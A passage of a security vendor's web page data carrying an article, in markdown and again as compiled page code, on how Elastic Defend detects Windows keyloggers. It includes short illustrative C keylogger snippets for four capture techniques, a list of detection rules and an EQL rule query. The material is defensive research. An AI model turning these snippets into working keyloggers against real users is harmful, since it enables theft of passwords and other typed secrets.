uMessage, wParam, lParam);\n }\n return 0;\n}\n```\n\nIn this example, ```RegisterRawInputDevices``` is used to register the input devices from which raw input data is to be received. Here, it is set to receive raw input data from the keyboard.\n\n 4. Keylogger using ```DirectInput```\n \nFinally, let's discuss a keylogger that uses ```DirectInput```. In simple terms, this keylogger abuses the functionalities of Microsoft DirectX. DirectX is a collection of APIs (libraries) used for handling multimedia tasks such as games and videos.\n\nSince obtaining various inputs from users is essential in gaming, DirectX also provides APIs for processing user inputs. The APIs provided before DirectX version 8 are known as ```DirectInput```. Below is a simple example of a keylogger using related APIs. As a side note, when acquiring key states using ```DirectInput```, the ```RegisterRawInputDevices``` API is called in the background.\n\n``` c\nLPDIRECTINPUT8\t\tlpDI = NULL;\nLPDIRECTINPUTDEVICE8\tlpKeyboard = NULL;\n\nBYTE key[256];\nZeroMemory(key, sizeof(key));\n\nDirectInput8Create(hInstance, DIRECTINPUT_VERSION, IID_IDirectInput8, (LPVOID*)\u0026lpDI, NULL);\nlpDI-\u003eCreateDevice(GUID_SysKeyboard, \u0026lpKeyboard, NULL);\nlpKeyboard-\u003eSetDataFormat(\u0026c_dfDIKeyboard);\nlpKeyboard-\u003eSetCooperativeLevel(hwndMain, DISCL_FOREGROUND | DISCL_NONEXCLUSIVE | DISCL_NOWINKEY);\n\nwhile(true)\n{\n HRESULT ret = lpKeyboard-\u003eGetDeviceState(sizeof(key), key);\n if (FAILED(ret)) {\n lpKeyboard-\u003eAcquire();\n lpKeyboard-\u003eGetDeviceState(sizeof(key), key);\n }\n SaveTheKey(key, \"log.txt\");\t\n Sleep(50);\n}\n```\n\n## Detecting keyloggers by monitoring Windows API calls\n\nElastic Defend uses Event Tracing for Windows (ETW ※4) to detect the aforementioned keylogger types. This is achieved by monitoring calls to related Windows APIs and logging particularly anomalous behavior. Below are the Windows APIs being monitored and the newly created keylogger detection rules associated with these APIs. (※4: In short, ETW is a mechanism provided by Microsoft for tracing and logging the execution of applications and system components in Windows, such as device drivers.)\n\n### Monitored Windows APIs:\n\n - [GetAsyncKeyState](https://learn.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-getasynckeystate)\n - [SetWindowsHookEx](https://learn.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-setwindowshookexw)\n - [RegisterRawInputDevice](https://learn.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-registerrawinputdevices)\n\n### New keylogger endpoint detection rules:\n\n - [GetAsyncKeyState API Call from Suspicious Process](https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/collection_getasynckeystate_api_call_from_suspicious_process.toml)\n - [GetAsyncKeyState API Call from Unusual Process](https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/collection_getasynckeystate_api_call_from_unusual_process.toml)\n - [Keystroke Input Capture via DirectInput](https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/collection_keystroke_input_capture_via_directinput.toml)\n - [Keystroke Input Capture via RegisterRawInputDevices](https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/collection_keystroke_input_capture_via_registerrawinputdevices.toml)\n - [Keystroke Messages Hooking via SetWindowsHookEx](https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/collection_keystroke_messages_hooking_via_setwindowshookex.toml)\n - [Keystrokes Input Capture from a Managed Application](https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/collection_keystrokes_input_capture_from_a_managed_application.toml)\n - [Keystrokes Input Capture from a Suspicious Module](https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/collection_keystrokes_input_capture_from_a_suspicious_module.toml)\n - [Keystrokes Input Capture from Suspicious CallStack](https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/collection_keystrokes_input_capture_from_suspicious_callstack.toml)\n - [Keystrokes Input Capture from Unsigned DLL](https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/collection_keystrokes_input_capture_from_unsigned_dll.toml)\n - [Keystrokes Input Capture via SetWindowsHookEx](https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/collection_keystrokes_input_capture_via_setwindowshookex.toml)\n\nWith this new set of capabilities, Elastic Defend can provide comprehensive monitoring and detection of keylogging activity, enhancing the security and protection of Windows endpoints against these threats.\n\n### Detecting Windows keyloggers\n\nNext, let’s walk through an example of how the detection works in practice. We'll detect a keylogger using the Raw Input Model with Elastic Defend. For this example, we prepared a simple PoC keylogger named ```Keylogger.exe``` that uses the ```RegisterRawInputDevices``` API and executed it in our test environment ※5. (※5:The execution environment is Windows 10 Version 22H2 19045.4412, the latest version available at the time of writing.)\n\n\n \nShortly after the keylogger was executed, a detection rule ([Keystroke Input Capture via RegisterRawInputDevices](https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/collection_keystroke_input_capture_via_registerrawinputdevices.toml)) was triggered on the endpoint, showing an alert. The further details of this alert can be viewed within Kibana.\n\n\n\nHere are the details of the detection rule, note the specific API referenced in the example. \n\n``` sql\nquery = '''\napi where\n process.Ext.api.name == \"RegisterRawInputDevices\" and not process.code_signature.status : \"trusted\" and\n process.Ext.api.parameters.usage : (\"HID_USAGE_GENERIC_KEYBOARD\", \"KEYBOARD\") and\n process.Ext.api.parameters.flags : \"*INPUTSINK*\" and process.thread.Ext.call_stack_summary : \"?*\" and\n process.thread.Ext.call_stack_final_user_module.hash.sha256 != null and process.executable != null and\n not process.thread.Ext.call_stack_final_user_module.path :\n (\"*\\\\program files*\", \"*\\\\windows\\\\system32\\\\*\", \"*\\\\windows\\\\syswow64\\\\*\",\n \"*\\\\windows\\\\systemapps\\\\*\",\n \"*\\\\users\\\\*\\\\appdata\\\\local\\\\*\\\\kumospace.exe\",\n \"*\\\\users\\\\*\\\\appdata\\\\local\\\\microsoft\\\\teams\\\\current\\\\teams.exe\") and \n not process.executable : (\"?:\\\\Program Files\\\\*.exe\", \"?:\\\\Program Files (x86)\\\\*.exe\")\n'''\n```\n\nThis rule raises an alert when an unsigned process, or a process signed by an untrusted signer, calls the ```RegisterRawInputDevices``` API to capture keystrokes. More specifically, Elastic Defend monitors the arguments passed to the ```RegisterRawInputDevices``` API, particularly the members of the [```RAWINPUTDEVICE``` structure](https://learn.microsoft.com/en-us/windows/win32/api/winuser/ns-winuser-rawinputdevice), which is the first argument of this API.\n\nThis raises an alert when these argument values indicate an attempt to capture keyboard input. The logs of the ```RegisterRawInputDevices``` API can also be viewed within Kibana.\n\n\n\n### Data Collected During Windows API Calls\n\nDue to space constraints, this article does not cover all of the detection rules and API details that were added. However, we will briefly describe the data that Elastic Defend collects during calls to the relevant Windows APIs. For further explanations for each item, please refer to the Elastic Common Schema (ECS) mapping detailed in [```custom_api.yml```](https://github.com/elastic/endpoint-package/blob/main/custom_schemas/custom_api.yml).\n\n| API Name | Field | Description | Example |\n| --- | --- | --- | --- |\n| GetAsyncKeyState | process.Ext.api.metadata.ms_since_last_keyevent | This parameter indicates an elapsed time in milliseconds between the last GetAsyncKeyState event. | 94 |\n| GetAsyncKeyState | process.Ext.api.metadata.background_callcount | This parameter indicates a number of all GetAsyncKeyState api calls, including unsuccessful calls, between the last successful GetAsyncKeyState call. | 6021 |\n| SetWindowsHookEx | process.Ext.api.parameters.hook_type | Type of hook procedure to be installed. | \"WH_KEYBOARD_LL\"\n| SetWindowsHookEx | process.Ext.api.parameters.hook_module | DLL containing the hook procedure. | \"c:\\\\windows\\\\system32\\\\taskbar.dll\"\n| SetWindowsHookEx | process.Ext.api.parameters.procedure | The memory address of the procedure or function. | 2431737462784 |\n| SetWindowsHookEx | process.Ext.api.metadata.procedure_symbol | Summary of the hook procedure. | \"taskbar.dll\" |\n| RegisterRawInputDevices | process.Ext.api.metadata.return_value | Return value of RegisterRawInputDevices API call. | 1 |\n| RegisterRawInputDevices | process.Ext.api.parameters.usage_page | This parameter indicates the top-level collection (Usage Page) of the device. First member RAWINPUTDEVICE structure. | \"GENERIC\" |\n| RegisterRawInputDevices | process.Ext.api.parameters.usage | This parameter indicates the specific device (Usage) within the Usage Page. Second member RAWINPUTDEVICE structure. | \"KEYBOARD\" |\n| RegisterRawInputDevices | process.Ext.api.parameters.flags | Mode flag that specifies how to interpret the information provided by UsagePage and Usage. Third member RAWINPUTDEVICE structure. | \"INPUTSINK\" |\n| RegisterRawInputDevices | process.Ext.api.metadata.windows_count | Number of windows owned by the caller thread. | 2 |\n| RegisterRawInputDevices | process.Ext.api.metadata.visible_windows_count | Number of visible windows owned by the caller thread. | 0 |\n| RegisterRawInputDevices | process.Ext.api.metadata.thread_info_flags | Thread info flags. | 16 |\n| RegisterRawInputDevices | process.Ext.api.metadata.start_address_module | Name of the module associated with the starting address of a thread. | \"C:\\\\Windows\\\\System32\\\\DellTPad\\\\ApMsgFwd.exe\" |\n| RegisterRawInputDevices | process.Ext.api.metadata.start_address_allocation_protection | Memory protection attributes associated with the starting address of a thread. | \"RCX\" |\n\n## Conclusion\n\nIn this article, we introduced the keylogger and keylogging detection features for Windows environments that were added starting from Elastic Defend 8.12. Specifically, by monitoring calls to representative Windows APIs related to keylogging, we have integrated a behavioral keylogging detection approach that does not rely on signatures. To ensure accuracy and reduce the false positive rate, we have created this feature and new rules based on months of research.\n\nIn addition to keylogging-related APIs, Elastic Defend also monitors [other APIs commonly used by malicious actors, such as those for memory manipulation](https://www.elastic.co/security-labs/doubling-down-etw-callstacks), providing multi-layered protection. If you are interested in Elastic Security and Elastic Defend, please check out the [product page](https://www.elastic.co/security) and [documentation](https://www.elastic.co/videos/intro-elastic-security).\n","code":"var Component=(()=\u003e{var h=Object.create;var o=Object.defineProperty;var p=Object.getOwnPropertyDescriptor;var u=Object.getOwnPropertyNames;var g=Object.getPrototypeOf,w=Object.prototype.hasOwnProperty;var f=(i,e)=\u003e()=\u003e(e||i((e={exports:{}}).exports,e),e.exports),m=(i,e)=\u003e{for(var n in e)o(i,n,{get:e[n],enumerable:!0})},s=(i,e,n,a)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let r of u(e))!w.call(i,r)\u0026\u0026r!==n\u0026\u0026o(i,r,{get:()=\u003ee[r],enumerable:!(a=p(e,r))||a.enumerable});return i};var y=(i,e,n)=\u003e(n=i!=null?h(g(i)):{},s(e||!i||!i.__esModule?o(n,\"default\",{value:i,enumerable:!0}):n,i)),k=i=\u003es(o({},\"__esModule\",{value:!0}),i);var c=f((D,l)=\u003e{l.exports=_jsx_runtime});var _={};m(_,{default:()=\u003ev,frontmatter:()=\u003eb});var t=y(c()),b={title:\"Protecting your devices from information theft\",slug:\"protecting-your-devices-from-information-theft-keylogger-protection\",date:\"2024-05-30\",subtitle:\"Keylogger detection using Windows API behaviors\",description:\"In this article, we will introduce the keylogger and keylogging detection features added this year to Elastic Defend (starting from version 8.12), which is responsible for endpoint protection in Elastic Security.\",author:[{slug:\"asuka-nakajima\"}],image:\"Security Labs Images 10.jpg\",category:[{slug:\"security-operations\"},{slug:\"security-research\"},{slug:\"detection-science\"}],tags:[\"detection engineering\",\"threat hunting\",\"threat detection\"]};function d(i){let e=Object.assign({p:\"p\",a:\"a\",h2:\"h2\",h3:\"h3\",ol:\"ol\",li:\"li\",code:\"code\",pre:\"pre\",ul:\"ul\",strong:\"strong\",img:\"img\",div:\"div\",table:\"table\",thead:\"thead\",tr:\"tr\",th:\"th\",tbody:\"tbody\",td:\"td\"},i.components);return(0,t.jsxs)(t.Fragment,{children:[(0,t.jsxs)(e.p,{children:[\"In this article, we will introduce the keylogger and keylogging detection features added this year to Elastic Defend (starting from \",(0,t.jsx)(e.a,{href:\"https://www.elastic.co/guide/en/security/8.12/release-notes-header-8.12.0.html#enhancements-8.12.0\",rel:\"nofollow\",children:\"version 8.12\"}),\"), which is responsible for endpoint protection in Elastic Security. This article is also available in \",(0,t.jsx)(e.a,{href:\"https://www.elastic.co/security-labs/protecting-your-devices-from-information-theft-keylogger-protection-jp\",rel:\"nofollow\",children:\"Japanese\"}),\".\"]}),`\n`,(0,t.jsx)(e.h2,{id:\"introduction\",children:\"Introduction\"}),`\n`,(0,t.jsx)(e.p,{children:\"Starting with Elastic Defend 8.12, we have enhanced the detection of keyloggers and malware with keylogging capabilities (such as information-stealing malware or remote access trojans, better known as RATs) on Windows by monitoring and recording the calls to representative Windows APIs used by keyloggers. This publication will focus on providing a detailed technical background of this new feature. Additionally, we will introduce the new prebuilt behavioral detection rules created in conjunction with this feature.\"}),`\n`,(0,t.jsx)(e.h3,{id:\"what-is-a-keylogger-and-what-are-their-risks\",children:\"What is a keylogger and what are their risks?\"}),`\n`,(0,t.jsx)(e.p,{children:\"A keylogger is a type of software that monitors and records the keystrokes entered on a computer (\\u203B1). While keyloggers can be used for legitimate purposes such as user monitoring, they are frequently abused by malicious actors. Specifically, they are used to steal sensitive information such as authentication credentials, credit card details, and various confidential data entered through the keyboard. (\\u203B1: While there are hardware keyloggers that can be attached directly to a PC via USB, this article focuses on software keyloggers.)\"}),`\n`,(0,t.jsx)(e.p,{children:\"The sensitive information obtained through keyloggers can be exploited for monetary theft or as a stepping stone for further cyber attacks. Therefore, although keylogging itself does not directly damage the computer, early detection is crucial to preventing subsequent, more invasive cyber attacks.\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"There are many types of malware with keylogging capabilities, particularly RATs, information stealers, and banking malware. Some well-known malware with keylogging functionality includes \",(0,t.jsx)(e.a,{href:\"https://malpedia.caad.fkie.fraunhofer.de/details/win.agent_tesla\",rel:\"nofollow\",children:\"Agent Tesla\"}),\", \",(0,t.jsx)(e.a,{href:\"https://malpedia.caad.fkie.fraunhofer.de/details/apk.lokibot\",rel:\"nofollow\",children:\"LokiBot\"}),\", and \",(0,t.jsx)(e.a,{href:\"https://malpedia.caad.fkie.fraunhofer.de/details/win.404keylogger\",rel:\"nofollow\",children:\"SnakeKeylogger\"}),\".\"]}),`\n`,(0,t.jsx)(e.h3,{id:\"how-are-keystrokes-stolen\",children:\"How are keystrokes stolen?\"}),`\n`,(0,t.jsx)(e.p,{children:\"Next, let's explain from a technical perspective how keyloggers function without being detected. While keyloggers can be used within various operating system environments (Windows/Linux/macOS and mobile devices), this article will focus on Windows keyloggers. Specifically, we will describe four distinct types of keyloggers that capture keystrokes using Windows APIs and functions (\\u203B2).\"}),`\n`,(0,t.jsx)(e.p,{children:\"As a side note, the reason for explaining keylogging methods here is to deepen the understanding of the new detection features introduced in the latter half of this article. Therefore, the example code provided is for illustrative purposes only and is not intended to be executable as is (\\u203B3).\"}),`\n`,(0,t.jsx)(e.p,{children:`(\\u203B2: Keyloggers running on Windows can be broadly divided into those installed in kernel space (OS side) and those installed in the same space as regular applications (user space). This article focuses on the latter type.)\n(\\u203B3: If a keylogger is created and misused based on the example code provided below, Elastic will not be responsible for any consequences.)`}),`\n`,(0,t.jsxs)(e.ol,{children:[`\n`,(0,t.jsx)(e.li,{children:\"Polling-based keylogger\"}),`\n`]}),`\n`,(0,t.jsx)(e.p,{children:\"This type of keylogger polls or periodically checks the state of each key on the keyboard (whether the key is pressed) at short intervals (much shorter than one second). If a keylogger detects that a new key has been pressed since the last check, it records and saves the information of the pressed key. By repeating this process, the keylogger captures the characters entered by the user.\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"Polling-based keyloggers are implemented using Windows APIs that check the state of key inputs, with the \",(0,t.jsx)(e.a,{href:\"https://learn.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-getasynckeystate\",rel:\"nofollow\",children:(0,t.jsx)(e.code,{children:\"GetAsyncKeyState\"})}),\" API being a representative example. This API can determine whether a specific key is currently pressed and whether that key has been pressed since the last API call. Below is a simple example of a polling-based keylogger using the \",(0,t.jsx)(e.code,{children:\"GetAsyncKeyState\"}),\" API:\"]}),`\n`,(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:\"language-c\",children:`while(true)\n{\n for (int key = 1; key \u003c= 255; key++)\n {\n if (GetAsyncKeyState(key) \u0026 0x01)\n {\n SaveTheKey(key, \"log.txt\");\n }\n }\n Sleep(50);\n}\n`})}),`\n`,(0,t.jsxs)(e.p,{children:[\"The method of polling (\",(0,t.jsx)(e.code,{children:\"GetAsyncKeyState\"}),\") to capture key press states is not only a well-known, classic keylogging technique, but it is also commonly used by malware today.\"]}),`\n`,(0,t.jsxs)(e.ol,{start:\"2\",children:[`\n`,(0,t.jsx)(e.li,{children:\"Hooking-based keylogger\"}),`\n`]}),`\n`,(0,t.jsx)(e.p,{children:`Hooking-based keyloggers, like polling-based keyloggers, are a classic type that has been around for a long time. Let's first explain what a \"hook\" is.`}),`\n`,(0,t.jsx)(e.p,{children:'A hook is a mechanism that allows you to insert custom processing (custom code) into specific operations of an application. Using a hook to insert custom processing is known as \"hooking.\"'}),`\n`,(0,t.jsxs)(e.p,{children:[\"Windows provides a mechanism that allows you to hook messages (events) such as key inputs to an application, and this can be utilized through the \",(0,t.jsx)(e.a,{href:\"https://learn.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-setwindowshookexw\",rel:\"nofollow\",children:(0,t.jsx)(e.code,{children:\"SetWindowsHookEx\"})}),\" API. Below is a simple example of a hooking-based keylogger using the \",(0,t.jsx)(e.code,{children:\"SetWindowsHookEx\"}),\" API:\"]}),`\n`,(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:\"language-c\",children:`HMODULE hHookLibrary = LoadLibraryW(L\"hook.dll\");\nFARPROC hookFunc = GetProcAddress(hHookLibrary, \"SaveTheKey\");\n\nHHOOK keyboardHook = NULL;\n \nkeyboardHook = SetWindowsHookEx(WH_KEYBOARD_LL,\n (HOOKPROC)hookFunc,\n hHookLibrary,\n 0);\n`})}),`\n`,(0,t.jsxs)(e.ol,{start:\"3\",children:[`\n`,(0,t.jsx)(e.li,{children:\"Keylogger using the Raw Input Model\"}),`\n`]}),`\n`,(0,t.jsx)(e.p,{children:`This type of keylogger captures and records raw input data obtained directly from input devices like keyboards. Before delving into the details of this type of keylogger, it's essential to understand the \"Original Input Model\" and \"Raw Input Model\" in Windows. Here's an explanation of each input method:`}),`\n`,(0,t.jsxs)(e.ul,{children:[`\n`,(0,t.jsxs)(e.li,{children:[(0,t.jsx)(e.strong,{children:\"Original Input Model\"}),\": The data entered from input devices like keyboards is processed by the OS before being delivered to the application.\"]}),`\n`,(0,t.jsxs)(e.li,{children:[(0,t.jsx)(e.strong,{children:\"Raw Input Model\"}),\": The data entered from input devices is received directly by the application without any intermediate processing by the OS.\"]}),`\n`]}),`\n`,(0,t.jsxs)(e.p,{children:[\"Initially, Windows only used the Original Input Model. However, with the introduction of Windows XP, the Raw Input Model was added, likely due to the increasing diversity of input devices. In the Raw Input Model, the \",(0,t.jsx)(e.a,{href:\"https://learn.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-registerrawinputdevices\",rel:\"nofollow\",children:(0,t.jsx)(e.code,{children:\"RegisterRawInputDevices\"})}),\" API is used to register the input devices from which you want to receive raw data directly. Subsequently, the \",(0,t.jsx)(e.a,{href:\"https://learn.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-getrawinputdata\",rel:\"nofollow\",children:(0,t.jsx)(e.code,{children:\"GetRawInputData\"})}),\" API is used to obtain the raw data.\"]}),`\n`,(0,t.jsx)(e.p,{children:\"Below is a simple example of a keylogger using the Raw Input Model and these APIs:\"}),`\n`,(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:\"language-c\",children:`LRESULT CALLBACK WndProc(HWND hWnd, UINT uMessage, WPARAM wParam, LPARAM lParam)\n{\n\n UINT dwSize = 0;\n RAWINPUT* buffer = NULL;\n\n switch (uMessage)\n {\n case WM_CREATE:\n RAWINPUTDEVICE rid;\n rid.usUsagePage = 0x01; // HID_USAGE_PAGE_GENERIC\n rid.usUsage = 0x06; // HID_USAGE_GENERIC_KEYBOARD\n rid.dwFlags = RIDEV_NOLEGACY | RIDEV_INPUTSINK;\n rid.hwndTarget = hWnd;\n RegisterRawInputDevices(\u0026rid, 1, sizeof(rid));\n break;\n case WM_INPUT:\n GetRawInputData((HRAWINPUT)lParam, RID_INPUT, NULL, \u0026dwSize, sizeof(RAWINPUTHEADER));\n\n buffer = (RAWINPUT*)HeapAlloc(GetProcessHeap(), 0, dwSize);\n\n if (GetRawInputData((HRAWINPUT)lParam, RID_INPUT, buffer, \u0026dwSize, sizeof(RAWINPUTHEADER)))\n {\n if (buffer-\u003eheader.dwType == RIM_TYPEKEYBOARD)\n {\n SaveTheKey(buffer, \"log.txt\");\n }\n }\n HeapFree(GetProcessHeap(), 0, buffer);\n break;\n default:\n return DefWindowProc(hWnd, uMessage, wParam, lParam);\n }\n return 0;\n}\n`})}),`\n`,(0,t.jsxs)(e.p,{children:[\"In this example, \",(0,t.jsx)(e.code,{children:\"RegisterRawInputDevices\"}),\" is used to register the input devices from which raw input data is to be received. Here, it is set to receive raw input data from the keyboard.\"]}),`\n`,(0,t.jsxs)(e.ol,{start:\"4\",children:[`\n`,(0,t.jsxs)(e.li,{children:[\"Keylogger using \",(0,t.jsx)(e.code,{children:\"DirectInput\"})]}),`\n`]}),`\n`,(0,t.jsxs)(e.p,{children:[\"Finally, let's discuss a keylogger that uses \",(0,t.jsx)(e.code,{children:\"DirectInput\"}),\". In simple terms, this keylogger abuses the functionalities of Microsoft DirectX. DirectX is a collection of APIs (libraries) used for handling multimedia tasks such as games and videos.\"]}),`\n`,(0,t.jsxs)(e.p,{children:[\"Since obtaining various inputs from users is essential in gaming, DirectX also provides APIs for processing user inputs. The APIs provided before DirectX version 8 are known as \",(0,t.jsx)(e.code,{children:\"DirectInput\"}),\". Below is a simple example of a keylogger using related APIs. As a side note, when acquiring key states using \",(0,t.jsx)(e.code,{children:\"DirectInput\"}),\", the \",(0,t.jsx)(e.code,{children:\"RegisterRawInputDevices\"}),\" API is called in the background.\"]}),`\n`,(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:\"language-c\",children:`LPDIRECTINPUT8\t\tlpDI = NULL;\nLPDIRECTINPUTDEVICE8\tlpKeyboard = NULL;\n\nBYTE key[256];\nZeroMemory(key, sizeof(key));\n\nDirectInput8Create(hInstance, DIRECTINPUT_VERSION, IID_IDirectInput8, (LPVOID*)\u0026lpDI, NULL);\nlpDI-\u003eCreateDevice(GUID_SysKeyboard, \u0026lpKeyboard, NULL);\nlpKeyboard-\u003eSetDataFormat(\u0026c_dfDIKeyboard);\nlpKeyboard-\u003eSetCooperativeLevel(hwndMain, DISCL_FOREGROUND | DISCL_NONEXCLUSIVE | DISCL_NOWINKEY);\n\nwhile(true)\n{\n HRESULT ret = lpKeyboard-\u003eGetDeviceState(sizeof(key), key);\n if (FAILED(ret)) {\n lpKeyboard-\u003eAcquire();\n lpKeyboard-\u003eGetDeviceState(sizeof(key), key);\n }\n SaveTheKey(key, \"log.txt\");\t\n Sleep(50);\n}\n`})}),`\n`,(0,t.jsx)(e.h2,{id:\"detecting-keyloggers-by-monitoring-windows-api-calls\",children:\"Detecting keyloggers by monitoring Windows API calls\"}),`\n`,(0,t.jsx)(e.p,{children:\"Elastic Defend uses Event Tracing for Windows (ETW \\u203B4) to detect the aforementioned keylogger types. This is achieved by monitoring calls to related Windows APIs and logging particularly anomalous behavior. Below are the Windows APIs being monitored and the newly created keylogger detection rules associated with these APIs. (\\u203B4: In short, ETW is a mechanism provided by Microsoft for tracing and logging the execution of applications and system components in Windows, such as device drivers.)\"}),`\n`,(0,t.jsx)(e.h3,{id:\"monitored-windows-apis\",children:\"Monitored Windows APIs:\"}),`\n`,(0,t.jsxs)(e.ul,{children:[`\n`,(0,t.jsx)(e.li,{children:(0,t.jsx)(e.a,{href:\"https://learn.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-getasynckeystate\",rel:\"nofollow\",children:\"GetAsyncKeyState\"})}),`\n`,(0,t.jsx)(e.li,{children:(0,t.jsx)(e.a,{href:\"https://learn.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-setwindowshookexw\",rel:\"nofollow\",children:\"SetWindowsHookEx\"})}),`\n`,(0,t.jsx)(e.li,{children:(0,t.jsx)(e.a,{href:\"https://learn.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-registerrawinputdevices\",rel:\"nofollow\",children:\"RegisterRawInputDevice\"})}),`\n`]}),`\n`,(0,t.jsx)(e.h3,{id:\"new-keylogger-endpoint-detection-rules\",children:\"New keylogger endpoint detection rules:\"}),`\n`,(0,t.jsxs)(e.ul,{children:[`\n`,(0,t.jsx)(e.li,{children:(0,t.jsx)(e.a,{href:\"https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/collection_getasynckeystate_api_call_from_suspicious_process.toml\",rel:\"nofollow\",children:\"GetAsyncKeyState API Call from Suspicious Process\"})}),`\n`,(0,t.jsx)(e.li,{children:(0,t.jsx)(e.a,{href:\"https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/collection_getasynckeystate_api_call_from_unusual_process.toml\",rel:\"nofollow\",children:\"GetAsyncKeyState API Call from Unusual Process\"})}),`\n`,(0,t.jsx)(e.li,{children:(0,t.jsx)(e.a,{href:\"https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/collection_keystroke_input_capture_via_directinput.toml\",rel:\"nofollow\",children:\"Keystroke Input Capture via DirectInput\"})}),`\n`,(0,t.jsx)(e.li,{children:(0,t.jsx)(e.a,{href:\"https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/collection_keystroke_input_capture_via_registerrawinputdevices.toml\",rel:\"nofollow\",children:\"Keystroke Input Capture via RegisterRawInputDevices\"})}),`\n`,(0,t.jsx)(e.li,{children:(0,t.jsx)(e.a,{href:\"https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/collection_keystroke_messages_hooking_via_setwindowshookex.toml\",rel:\"nofollow\",children:\"Keystroke Messages Hooking via SetWindowsHookEx\"})}),`\n`,(0,t.jsx)(e.li,{children:(0,t.jsx)(e.a,{href:\"https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/collection_keystrokes_input_capture_from_a_managed_application.toml\",rel:\"nofollow\",children:\"Keystrokes Input Capture from a Managed Application\"})}),`\n`,(0,t.jsx)(e.li,{children:(0,t.jsx)(e.a,{href:\"https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/collection_keystrokes_input_capture_from_a_suspicious_module.toml\",rel:\"nofollow\",children:\"Keystrokes Input Capture from a Suspicious Module\"})}),`\n`,(0,t.jsx)(e.li,{children:(0,t.jsx)(e.a,{href:\"https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/collection_keystrokes_input_capture_from_suspicious_callstack.toml\",rel:\"nofollow\",children:\"Keystrokes Input Capture from Suspicious CallStack\"})}),`\n`,(0,t.jsx)(e.li,{children:(0,t.jsx)(e.a,{href:\"https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/collection_keystrokes_input_capture_from_unsigned_dll.toml\",rel:\"nofollow\",children:\"Keystrokes Input Capture from Unsigned DLL\"})}),`\n`,(0,t.jsx)(e.li,{children:(0,t.jsx)(e.a,{href:\"https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/collection_keystrokes_input_capture_via_setwindowshookex.toml\",rel:\"nofollow\",children:\"Keystrokes Input Capture via SetWindowsHookEx\"})}),`\n`]}),`\n`,(0,t.jsx)(e.p,{children:\"With this new set of capabilities, Elastic Defend can provide comprehensive monitoring and detection of keylogging activity, enhancing the security and protection of Windows endpoints against these threats.\"}),`\n`,(0,t.jsx)(e.h3,{id:\"detecting-windows-keyloggers\",children:\"Detecting Windows keyloggers\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"Next, let\\u2019s walk through an example of how the detection works in practice. We'll detect a keylogger using the Raw Input Model with Elastic Defend. For this example, we prepared a simple PoC keylogger named \",(0,t.jsx)(e.code,{children:\"Keylogger.exe\"}),\" that uses the \",(0,t.jsx)(e.code,{children:\"RegisterRawInputDevices\"}),\" API and executed it in our test environment \\u203B5. (\\u203B5:The execution environment is Windows 10 Version 22H2 19045.4412, the latest version available at the time of writing.)\"]}),`\n`,(0,t.jsxs)(e.p,{children:[(0,t.jsx)(e.img,{src:\"/assets/images/protecting-your-devices-from-information-theft-keylogger-protection/image1.png\",alt:\"Elastic Security alert\",width:\"460\",height:\"192\"}),`\n\\u3000\nShortly after the keylogger was executed, a detection rule (`,(0,t.jsx)(e.a,{href:\"https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/collection_keystroke_input_capture_via_registerrawinputdevices.toml\",rel:\"nofollow\",children:\"Keystroke Input Capture via RegisterRawInputDevices\"}),\") was triggered on the endpoint, showing an alert. The further details of this alert can be viewed within Kibana.\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/protecting-your-devices-from-information-theft-keylogger-protection/image3.png\",alt:\"Elastic Security alert dashboard\",width:\"1440\",height:\"675\"})}),`\n`,(0,t.jsx)(e.p,{children:\"Here are the details of the detection rule, note the specific API referenced in the example.\"}),`\n`,(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:\"language-sql\",children:`query = '''\napi where\n process.Ext.api.name == \"RegisterRawInputDevices\" and not process.code_signature.status : \"trusted\" and\n process.Ext.api.parameters.usage : (\"HID_USAGE_GENERIC_KEYBOARD\", \"KEYBOARD\") and\n process.Ext.api.parameters.flags : \"*INPUTSINK*\" and process.thread.Ext.call_stack_summary : \"?*\" and\n process.thread.Ext.call_stack_final_user_module.hash.sha256 != null and process.executable != null and\n not process.thread.Ext.call_stack_final_user_module.path :\n (\"*\\\\\\\\program files*\", \"*\\\\\\\\windows\\\\\\\\system32\\\\\\\\*\", \"*\\\\\\\\windows\\\\\\\\syswow64\\\\\\\\*\",\n \"*\\\\\\\\windows\\\\\\\\systemapps\\\\\\\\*\",\n 